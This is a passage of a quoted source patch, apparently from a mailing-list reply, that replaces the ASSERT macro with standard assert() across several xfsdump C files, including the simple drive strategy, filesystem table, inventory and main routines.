do_end_read( drive_t *drivep ) > > /* be sure we are following protocol > */ > - ASSERT( contextp->dc_mode == OM_READ ); > + assert( contextp->dc_mode == OM_READ ); > contextp->dc_mode = OM_NONE; > > /* bump the file mark cnt > */ > contextp->dc_fmarkcnt++; > - ASSERT( contextp->dc_fmarkcnt == 1 ); > + assert( contextp->dc_fmarkcnt == 1 ); > } > > /* begin_write - prepare file for writing > @@ -871,12 +872,12 @@ do_begin_write( drive_t *drivep ) > > /* sanity checks > */ > - ASSERT( dwhdrp->dh_strategyid == DRIVE_STRATEGY_SIMPLE ); > + assert( dwhdrp->dh_strategyid == DRIVE_STRATEGY_SIMPLE ); > > /* assert protocol > */ > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > > /* only one media file may be written > */ > @@ -918,7 +919,7 @@ do_begin_write( drive_t *drivep ) > contextp->dc_mode = OM_WRITE; > > tmphdr = (global_hdr_t *)malloc(GLOBAL_HDR_SZ); > - ASSERT(tmphdr); > + assert(tmphdr); > memset(tmphdr, 0, GLOBAL_HDR_SZ); > tmpdh = (drive_hdr_t *)tmphdr->gh_upper; > tmpmh = (media_hdr_t *)tmpdh->dh_upper; > @@ -997,9 +998,9 @@ do_set_mark( drive_t *drivep, > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_nextp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_nextp ); > > /* calculate the mark offset > */ > @@ -1053,7 +1054,7 @@ do_set_mark( drive_t *drivep, > > /* assert the header has been flushed > */ > - ASSERT( contextp->dc_bufstroff >= sizeof( *gwhdrp )); > + assert( contextp->dc_bufstroff >= sizeof( *gwhdrp )); > > /* record mark in hdr > */ > @@ -1082,7 +1083,7 @@ do_set_mark( drive_t *drivep, > content_hdr_t *ch = (content_hdr_t *)mh->mh_upper; > content_inode_hdr_t *cih = (content_inode_hdr_t *)ch->ch_specific; > > - ASSERT( newoff == 0 ); > + assert( newoff == 0 ); > > /* write and seek back to current offset > */ > @@ -1092,7 +1093,7 @@ do_set_mark( drive_t *drivep, > "(on media)\n" ); > > tmphdr = (global_hdr_t *)malloc(GLOBAL_HDR_SZ); > - ASSERT(tmphdr); > + assert(tmphdr); > tmpdh = (drive_hdr_t *)tmphdr->gh_upper; > tmpmh = (media_hdr_t *)tmpdh->dh_upper; > tmpch = (content_hdr_t *)tmpmh->mh_upper; > @@ -1129,13 +1130,13 @@ do_set_mark( drive_t *drivep, > nwritten = write( contextp->dc_fd, > tmphdr, > sizeof( *tmphdr )); > - ASSERT( ( size_t )nwritten == sizeof( *tmphdr )); > + assert( ( size_t )nwritten == sizeof( *tmphdr )); > free(tmphdr); > > newoff = lseek64( contextp->dc_fd, > contextp->dc_bufstroff, > SEEK_SET ); > - ASSERT( newoff == contextp->dc_bufstroff ); > + assert( newoff == contextp->dc_bufstroff ); > } > } > } > @@ -1144,7 +1145,7 @@ do_set_mark( drive_t *drivep, > * otherwise put the mark record on the tail of the queue. > */ > if ( contextp->dc_nextp == contextp->dc_buf ) { > - ASSERT( drivep->d_markrecheadp == 0 ); > + assert( drivep->d_markrecheadp == 0 ); > ( * cbfuncp )( cbcontextp, markrecp, BOOL_TRUE ); > return; > } else { > @@ -1155,7 +1156,7 @@ do_set_mark( drive_t *drivep, > drivep->d_markrecheadp = markrecp; > drivep->d_markrectailp = markrecp; > } else { > - ASSERT( drivep->d_markrectailp ); > + assert( drivep->d_markrectailp ); > drivep->d_markrectailp->dm_nextp = markrecp; > drivep->d_markrectailp = markrecp; > } > @@ -1180,11 +1181,11 @@ do_get_write_buf( drive_t *drivep, size_t wanted_bufsz, size_t *actual_bufszp ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp < contextp->dc_emptyp ); > - ASSERT( contextp->dc_ownedsz == 0 ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp < contextp->dc_emptyp ); > + assert( contextp->dc_ownedsz == 0 ); > > /* calculate how much buffer remains > */ > @@ -1237,18 +1238,18 @@ do_write( drive_t *drivep, char *bufp, size_t writesz ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( contextp->dc_ownedp ); > - ASSERT( bufp == contextp->dc_ownedp ); > - ASSERT( ! contextp->dc_nextp ); > - ASSERT( contextp->dc_ownedp < contextp->dc_emptyp ); > - ASSERT( writesz == contextp->dc_ownedsz ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( contextp->dc_ownedp ); > + assert( bufp == contextp->dc_ownedp ); > + assert( ! contextp->dc_nextp ); > + assert( contextp->dc_ownedp < contextp->dc_emptyp ); > + assert( writesz == contextp->dc_ownedsz ); > > /* calculate next portion of buffer available for get_write_buf, > * and indicate no portion is owned. > */ > contextp->dc_nextp = contextp->dc_ownedp + writesz; > - ASSERT( contextp->dc_nextp <= contextp->dc_emptyp ); > + assert( contextp->dc_nextp <= contextp->dc_emptyp ); > contextp->dc_ownedp = 0; > contextp->dc_ownedsz = 0; > > @@ -1304,10 +1305,10 @@ do_get_align_cnt( drive_t *drivep ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp < contextp->dc_emptyp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp < contextp->dc_emptyp ); > > /* calculate the next alignment point at or beyond the current nextp. > * the following algorithm works because dc_buf is page-aligned and > @@ -1317,7 +1318,7 @@ do_get_align_cnt( drive_t *drivep ) > next_alignment_off += PGMASK; > next_alignment_off &= ~PGMASK; > next_alignment_point = ( char * )next_alignment_off; > - ASSERT( next_alignment_point <= contextp->dc_emptyp ); > + assert( next_alignment_point <= contextp->dc_emptyp ); > > /* return the number of bytes to the next alignment point > */ > @@ -1338,14 +1339,14 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp < contextp->dc_emptyp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp < contextp->dc_emptyp ); > > /* calculate length of un-written portion of buffer > */ > - ASSERT( contextp->dc_nextp >= contextp->dc_buf ); > + assert( contextp->dc_nextp >= contextp->dc_buf ); > remaining_bufsz = ( size_t )( contextp->dc_nextp - contextp->dc_buf ); > > if ( remaining_bufsz ) { > @@ -1387,7 +1388,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > /* bump the file mark cnt > */ > contextp->dc_fmarkcnt++; > - ASSERT( contextp->dc_fmarkcnt == 1 ); > + assert( contextp->dc_fmarkcnt == 1 ); > > *ncommittedp = contextp->dc_bufstroff; > contextp->dc_mode = OM_NONE; > @@ -1410,15 +1411,15 @@ do_rewind( drive_t *drivep ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( dcaps & DRIVE_CAP_REWIND ); > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( dcaps & DRIVE_CAP_REWIND ); > + assert( contextp->dc_fd >= 0 ); > > /* seek to beginning of file > */ > newoff = lseek64( contextp->dc_fd, ( off64_t )0, SEEK_SET ); > if ( newoff ) { > - ASSERT( newoff < 0 ); > + assert( newoff < 0 ); > mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_DRIVE, > _("could not rewind %s: %s\n"), > drivep->d_pathname, > @@ -1446,15 +1447,15 @@ do_erase( drive_t *drivep ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( dcaps & DRIVE_CAP_ERASE ); > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( dcaps & DRIVE_CAP_ERASE ); > + assert( contextp->dc_fd >= 0 ); > > /* seek to beginning of file > */ > newoff = lseek64( contextp->dc_fd, ( off64_t )0, SEEK_SET ); > if ( newoff ) { > - ASSERT( newoff < 0 ); > + assert( newoff < 0 ); > mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_DRIVE, > _("could not rewind %s in prep for erase: %s\n"), > drivep->d_pathname, > @@ -1486,7 +1487,7 @@ do_get_device_class( drive_t *drivep ) > { > mlog( MLOG_NITTY | MLOG_DRIVE, > "drive_simple get_device_class( )\n" ); > - ASSERT( drivep ); > + assert( drivep ); > return DEVICE_NONREMOVABLE; > } > > @@ -1500,8 +1501,8 @@ do_quit( drive_t *drivep ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( contextp ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( contextp ); > > /* close file > */ > diff --git a/common/fs.c b/common/fs.c > index 6f4cb6c..b77f6cc 100644 > --- a/common/fs.c > +++ b/common/fs.c > @@ -27,6 +27,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -127,11 +128,11 @@ fs_info( char *typb, /* out */ > if ( canstat && ( statb.st_mode & S_IFMT ) == S_IFBLK ) { > if ( ( tep = fs_tab_lookup_blk( usrs )) != 0 ) { > blks = tep->fte_blks; > - ASSERT( strlen( blks ) < ( size_t )blkbz ); > + assert( strlen( blks ) < ( size_t )blkbz ); > strcpy( blkb, blks ); > mnts = tep->fte_mnts; > if ( mnts ) { > - ASSERT( strlen( mnts ) < ( size_t )mntbz ); > + assert( strlen( mnts ) < ( size_t )mntbz ); > strcpy( mntb, mnts ); > } else { > mntb[ 0 ] = 0; > @@ -139,7 +140,7 @@ fs_info( char *typb, /* out */ > if ( ( typs = tep->fte_typs ) == 0 ) { > typs = typd; > } > - ASSERT( strlen( typs ) < ( size_t )typbz ); > + assert( strlen( typs ) < ( size_t )typbz ); > strcpy( typb, typs ); > ok = BOOL_TRUE; > } else { > @@ -147,13 +148,13 @@ fs_info( char *typb, /* out */ > } > } else if ( ( tep = fs_tab_lookup_mnt( usrs )) != 0 ) { > blks = tep->fte_blks; > - ASSERT( strlen( blks ) < ( size_t )blkbz ); > + assert( strlen( blks ) < ( size_t )blkbz ); > strcpy( blkb, blks ); > mnts = tep->fte_mnts; > - ASSERT( strlen( mnts ) < ( size_t )mntbz ); > + assert( strlen( mnts ) < ( size_t )mntbz ); > strcpy( mntb, mnts ); > typs = tep->fte_typs; > - ASSERT( strlen( typs ) < ( size_t )typbz ); > + assert( strlen( typs ) < ( size_t )typbz ); > strcpy( typb, typs ); > ok = BOOL_TRUE; > } else { > @@ -161,7 +162,7 @@ fs_info( char *typb, /* out */ > } > > fs_tab_free( ); > - ASSERT( ok != BOOL_UNKNOWN ); > + assert( ok != BOOL_UNKNOWN ); > > if ( ok == BOOL_TRUE ) { > intgen_t rval = fs_getid( mntb, idb ); > @@ -281,11 +282,11 @@ fs_tab_ent_build( struct mntent *mntentp ) > char *cp; > > tep = ( fs_tab_ent_t * )calloc( 1, sizeof( fs_tab_ent_t )); > - ASSERT( tep ); > + assert( tep ); > > if ( mntentp->mnt_dir ) { > cp = calloc( 1, strlen( mntentp->mnt_dir ) + 1 ); > - ASSERT( cp ); > + assert( cp ); > ( void )strcpy( cp, mntentp->mnt_dir ); > tep->fte_mnts = cp; > } else { > @@ -294,7 +295,7 @@ fs_tab_ent_build( struct mntent *mntentp ) > > if ( mntentp->mnt_type ) { > cp = calloc( 1, strlen( mntentp->mnt_type ) + 1 ); > - ASSERT( cp ); > + assert( cp ); > ( void )strcpy( cp, mntentp->mnt_type ); > tep->fte_typs = cp; > } else { > @@ -303,7 +304,7 @@ fs_tab_ent_build( struct mntent *mntentp ) > > if ( mntentp->mnt_fsname ) { > cp = calloc( 1, strlen( mntentp->mnt_fsname ) + 1 ); > - ASSERT( cp ); > + assert( cp ); > ( void )strcpy( cp, mntentp->mnt_fsname ); > tep->fte_blks = cp; > } else { > diff --git a/common/global.c b/common/global.c > index 8e49d8b..ed844cc 100644 > --- a/common/global.c > +++ b/common/global.c > @@ -22,6 +22,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -67,13 +68,13 @@ global_hdr_alloc( intgen_t argc, char *argv[ ] ) > > /* sanity checks > */ > - ASSERT( sizeof( time32_t ) == GLOBAL_HDR_TIME_SZ ); > - ASSERT( sizeof( uuid_t ) == GLOBAL_HDR_UUID_SZ ); > + assert( sizeof( time32_t ) == GLOBAL_HDR_TIME_SZ ); > + assert( sizeof( uuid_t ) == GLOBAL_HDR_UUID_SZ ); > > /* allocate a global hdr > */ > ghdrp = ( global_hdr_t * )calloc( 1, sizeof( global_hdr_t )); > - ASSERT( ghdrp ); > + assert( ghdrp ); > > /* fill in the magic number > */ > @@ -326,7 +327,7 @@ prompt_label( char *bufp, size_t bufsz ) > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > responseix = dlog_string_query( prompt_label_cb, > @@ -348,7 +349,7 @@ prompt_label( char *bufp, size_t bufsz ) > ackstr[ ackcnt++ ] = _("session label left blank\n"); > } > > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_string_ack( ackstr, > ackcnt ); > > @@ -357,7 +358,7 @@ prompt_label( char *bufp, size_t bufsz ) > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > diff --git a/common/hsmapi.c b/common/hsmapi.c > index 7f9b45e..0bca9ff 100644 > --- a/common/hsmapi.c > +++ b/common/hsmapi.c > @@ -19,6 +19,7 @@ > #include > #include > #include > +#include > > #include "hsmapi.h" > #include "mlog.h" > diff --git a/common/inventory.c b/common/inventory.c > index fb27048..681d28f 100644 > --- a/common/inventory.c > +++ b/common/inventory.c > @@ -27,6 +27,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "inventory_priv.h" > @@ -51,7 +52,7 @@ inv_open( inv_predicate_t bywhat, void *pred ) > > int index = 0; > > - ASSERT ( pred ); > + assert ( pred ); > if ((fd = init_idb ( pred, bywhat, uuname, &tok )) < 0 ) > return tok; > > @@ -66,7 +67,7 @@ inv_open( inv_predicate_t bywhat, void *pred ) > return INV_TOKEN_NULL; > } > > - ASSERT ( index > 0 ); > + assert ( index > 0 ); > > /* Now we need to make sure that this has enough space */ > num = GET_SESCOUNTERS( stobjfd, &sescnt ); > @@ -145,7 +146,7 @@ inv_lasttime_level_lessthan( > time32_t **tm ) > { > int rval; > - ASSERT ( tok != INV_TOKEN_NULL ); > + assert ( tok != INV_TOKEN_NULL ); > > rval = search_invt( tok, level, (void **) tm, > (search_callback_t) tm_level_lessthan ); > @@ -170,7 +171,7 @@ inv_lastsession_level_lessthan( > inv_session_t **ses ) > { > int rval; > - ASSERT ( tok != INV_TOKEN_NULL ); > + assert ( tok != INV_TOKEN_NULL ); > > rval = search_invt( tok, level, (void **) ses, > (search_callback_t) lastsess_level_lessthan ); > @@ -197,7 +198,7 @@ inv_lastsession_level_equalto( > inv_session_t **ses ) > { > int rval; > - ASSERT ( tok != INV_TOKEN_NULL ); > + assert ( tok != INV_TOKEN_NULL ); > rval = search_invt( tok, level, (void **) ses, > (search_callback_t) lastsess_level_equalto ); > > @@ -236,8 +237,8 @@ inv_writesession_open( > invt_seshdr_t hdr; > inv_sestoken_t sestok; > > - ASSERT ( tok != INV_TOKEN_NULL ); > - ASSERT ( sesid && fsid && mntpt && devpath ); > + assert ( tok != INV_TOKEN_NULL ); > + assert ( sesid && fsid && mntpt && devpath ); > > if ( ! ( tok->d_update_flag & FSTAB_UPDATED ) ) { > if ( put_fstab_entry( fsid, mntpt, devpath ) < 0 ) { > @@ -264,7 +265,7 @@ inv_writesession_open( > > fd = tok->d_stobj_fd; > > - ASSERT ( fd > 0 ); > + assert ( fd > 0 ); > > hdr.sh_time = time; > hdr.sh_level = level; > @@ -286,7 +287,7 @@ inv_writesession_open( > /* create the writesession, and get ready for the streams to come > afterwards */ > rval = create_session( sestok, fd, sescnt, ses, &hdr ); > - ASSERT (rval > 0); > + assert (rval > 0); > > > INVLOCK( fd, LOCK_UN ); > @@ -324,7 +325,7 @@ inv_writesession_close( inv_sestoken_t tok ) > { > int rval; > > - ASSERT ( tok != INV_TOKEN_NULL ); > + assert ( tok != INV_TOKEN_NULL ); > > /* now update end_time in the inv index header */ > rval = put_sesstime( tok, INVT_ENDTIME ); > @@ -354,7 +355,7 @@ inv_stream_open( > invt_seshdr_t seshdr; > int fd; > > - ASSERT ( tok != INV_TOKEN_NULL ); > + assert ( tok != INV_TOKEN_NULL ); > > stream.st_nmediafiles = 0; > stream.st_interrupted = BOOL_FALSE; > @@ -505,9 +506,9 @@ inv_put_mediafile( > int rval; > > > - ASSERT ( tok != INV_TOKEN_NULL ); > - ASSERT ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); > - ASSERT ( tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); > + assert ( tok != INV_TOKEN_NULL ); > + assert ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); > + assert ( tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); > > mf = (invt_mediafile_t *) calloc( 1, sizeof( invt_mediafile_t ) ); > > @@ -627,8 +628,8 @@ inv_get_session( > void **bufpp, /* buf to fill */ > size_t *bufszp )/* size of that buffer */ > { > - ASSERT( tok != INV_TOKEN_NULL ); > - ASSERT( tok->sd_invtok ); > + assert( tok != INV_TOKEN_NULL ); > + assert( tok->sd_invtok ); > > /* First get the session header, and the session information. Then > we can figure out how much space to allocate */ > diff --git a/common/lock.c b/common/lock.c > index ab5b210..347f6cd 100644 > --- a/common/lock.c > +++ b/common/lock.c > @@ -18,6 +18,7 @@ > > #include > #include > +#include > > #include "types.h" > #include "qlock.h" > @@ -30,7 +31,7 @@ lock_init( void ) > { > /* initialization sanity checks > */ > - ASSERT( lock_qlockh == QLOCKH_NULL ); > + assert( lock_qlockh == QLOCKH_NULL ); > > /* allocate a qlock > */ > diff --git a/common/main.c b/common/main.c > index 8e7451f..f392856 100644 > --- a/common/main.c > +++ b/common/main.c > @@ -33,6 +33,7 @@ > #include > #include > #include > +#include > > #include "exit.h" > #include "types.h" > @@ -161,14 +162,14 @@ main( int argc, char *argv[] ) > > /* sanity checks > */ > - ASSERT( sizeof( char_t ) == 1 ); > - ASSERT( sizeof( u_char_t ) == 1 ); > - ASSERT( sizeof( int32_t ) == 4 ); > - ASSERT( sizeof( u_int32_t ) == 4 ); > - ASSERT( sizeof( size32_t ) == 4 ); > - ASSERT( sizeof( int64_t ) == 8 ); > - ASSERT( sizeof( u_int64_t ) == 8 ); > - ASSERT( sizeof( size64_t ) == 8 ); > + assert( sizeof( char_t ) == 1 ); > + assert( sizeof( u_char_t ) == 1 ); > + assert( sizeof( int32_t ) == 4 ); > + assert( sizeof( u_int32_t ) == 4 ); > + assert( sizeof( size32_t ) == 4 ); > + assert( sizeof( int64_t ) == 8 ); > + assert( sizeof( u_int64_t ) == 8 ); > + assert( sizeof( size64_t ) == 8 ); > > /* record the command name used to invoke > */ > @@ -365,7 +366,7 @@ main( int argc, char *argv[] ) > mlog( MLOG_DEBUG | MLOG_PROC, > "getpagesize( ) returns %u\n", > pgsz ); > - ASSERT( ( intgen_t )pgsz > 0 ); > + assert( ( intgen_t )pgsz > 0 ); > pgmask = pgsz - 1; > > /* report parent tid > @@ -792,7 +793,7 @@ main( int argc, char *argv[] ) > mlog_exit_hint(RV_INTR); > stop_in_progress = BOOL_TRUE; > cldmgr_stop( ); > - ASSERT( stop_timeout >= 0 ); > + assert( stop_timeout >= 0 ); > stop_deadline = now + ( time32_t )stop_timeout; > } > > @@ -1146,7 +1147,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) > return BOOL_FALSE; > } > optfilename = optarg; > - ASSERT( optind > 2 ); > + assert( optind > 2 ); > optfileix = ( ix_t )optind - 2; > break; > } > @@ -1211,7 +1212,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) > /* allocate an argument buffer > */ > argbuf = ( char * )malloc( sz ); > - ASSERT( argbuf ); > + assert( argbuf ); > > /* copy arg0 (the executable's name ) in first > */ > @@ -1233,7 +1234,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) > close( fd ); > return BOOL_FALSE; > } > - ASSERT( ( off64_t )nread == stat.st_size ); > + assert( ( off64_t )nread == stat.st_size ); > p += ( size_t )stat.st_size; > *p++ = ' '; > > @@ -1251,7 +1252,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) > /* null-terminate the entire buffer > */ > *p++ = 0; > - ASSERT( ( size_t )( p - argbuf ) <= sz ); > + assert( ( size_t )( p - argbuf ) <= sz ); > > /* change newlines and carriage returns into spaces > */ > @@ -1303,7 +1304,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) > /* allocate a new argv array to hold the tokens > */ > newargv = ( char ** )calloc( tokencnt, sizeof( char * )); > - ASSERT( newargv ); > + assert( newargv ); > > /* null-terminate tokens and place in new argv, after > * extracting quotes and escapes > @@ -1326,7 +1327,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) > > /* better not disagree with counting scan! > */ > - ASSERT( i < ( intgen_t )tokencnt ); > + assert( i < ( intgen_t )tokencnt ); > > /* find the end of the first token > */ > @@ -1533,7 +1534,7 @@ sigint_dialog( void ) > _("\nsession interrupt in progress\n"); > } > preamblestr[ preamblecnt++ ] = "\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > /* top-level query: a function of session interrupt status > @@ -1541,7 +1542,7 @@ sigint_dialog( void ) > querycnt = 0; > querystr[ querycnt++ ] = _("please select one of " > "the following operations\n"); > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > if ( ! stop_in_progress ) { > interruptix = choicecnt; > @@ -1564,7 +1565,7 @@ sigint_dialog( void ) > choicestr[ choicecnt++ ] = _("other controls"); > continueix = choicecnt; > choicestr[ choicecnt++ ] = _("continue"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > > responseix = dlog_multi_query( querystr, > querycnt, > @@ -1586,13 +1587,13 @@ sigint_dialog( void ) > ackcnt ); > querycnt = 0; > querystr[ querycnt++ ] = _("please confirm\n"); > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > interruptix = choicecnt; > choicestr[ choicecnt++ ] = _("interrupt this session"); > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("continue"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -1623,7 +1624,7 @@ sigint_dialog( void ) > querycnt = 0; > querystr[ querycnt++ ] = _("please select one of " > "the following subsystems\n"); > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > /* number of lines must match number of subsystems > */ > @@ -1634,7 +1635,7 @@ sigint_dialog( void ) > choicestr[ choicecnt++ ] = _("all of the above"); > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("no change"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -1664,7 +1665,7 @@ sigint_dialog( void ) > querycnt = 0; > querystr[ querycnt++ ] = ("please select one of the " > "following verbosity levels\n"); > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > choicestr[ choicecnt++ ] = _("silent"); > choicestr[ choicecnt++ ] = _("verbose"); > @@ -1674,7 +1675,7 @@ sigint_dialog( void ) > choicestr[ choicecnt++ ] = _("nitty + 1"); > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("no change"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -1708,7 +1709,7 @@ sigint_dialog( void ) > } else { > if ( ssselected < 0 ) { > ix_t ssix; > - ASSERT( ssselected == -1 ); > + assert( ssselected == -1 ); > for ( ssix = 0 > ; > ssix < MLOG_SS_CNT > @@ -1734,7 +1735,7 @@ sigint_dialog( void ) > querycnt = 0; > querystr[ querycnt++ ] = _("please select one of " > "the following metrics\n"); > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > ioix = choicecnt; > choicestr[ choicecnt++ ] = _("I/O"); > @@ -1746,7 +1747,7 @@ sigint_dialog( void ) > #endif /* RESTORE */ > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("continue"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -1779,11 +1780,11 @@ sigint_dialog( void ) > if ( responseix != nochangeix ) { > querycnt = 0; > querystr[ querycnt++ ] = "\n"; > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("continue"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -1818,7 +1819,7 @@ sigint_dialog( void ) > querycnt = 0; > querystr[ querycnt++ ] = _("please select one of " > "the following controls\n"); > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > progix = choicecnt; > if ( progrpt_enabledpr ) { > @@ -1847,7 +1848,7 @@ sigint_dialog( void ) > } > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("continue"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -1898,7 +1899,7 @@ sigint_dialog( void ) > sprintf( intervalbuf, > _("%d seconds\n"), > newinterval ); > - ASSERT( strlen( intervalbuf ) > + assert( strlen( intervalbuf ) > < > sizeof( intervalbuf )); > ackstr[ ackcnt++ ] = intervalbuf; > @@ -1911,7 +1912,7 @@ sigint_dialog( void ) > sprintf( intervalbuf, > _("%d second intervals\n"), > newinterval ); > - ASSERT( strlen( intervalbuf ) > + assert( strlen( intervalbuf ) > < > sizeof( intervalbuf )); > ackstr[ ackcnt++ ] = intervalbuf; > @@ -1966,7 +1967,7 @@ sigint_dialog( void ) > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > @@ -2009,7 +2010,7 @@ sigintstr( void ) > } else { > sprintf( buf, "%c", intchr ); > } > - ASSERT( strlen( buf ) < sizeof( buf )); > + assert( strlen( buf ) < sizeof( buf )); > > return buf; > } > @@ -2030,11 +2031,11 @@ set_rlimits( size64_t *vmszp ) > /* REFERENCED */ > intgen_t rval; > > - ASSERT( minstacksz <= maxstacksz ); > + assert( minstacksz <= maxstacksz ); > > rval = getrlimit64( RLIMIT_AS, &rlimit64 ); > > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_AS org cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > @@ -2044,7 +2045,7 @@ set_rlimits( size64_t *vmszp ) > rlimit64.rlim_cur = rlimit64.rlim_max; > ( void )setrlimit64( RLIMIT_AS, &rlimit64 ); > rval = getrlimit64( RLIMIT_AS, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_VMEM now cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > @@ -2054,9 +2055,9 @@ set_rlimits( size64_t *vmszp ) > vmsz = ( size64_t )rlimit64.rlim_cur; > #endif /* RESTORE */ > > - ASSERT( minstacksz <= maxstacksz ); > + assert( minstacksz <= maxstacksz ); > rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); > - ASSERT( ! rval ); > + assert( ! rval ); > mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, > "RLIMIT_STACK org cur 0x%llx max 0x%llx\n", > rlimit64.rlim_cur, > @@ -2076,7 +2077,7 @@ set_rlimits( size64_t *vmszp ) > rlimit64.rlim_max = minstacksz; > ( void 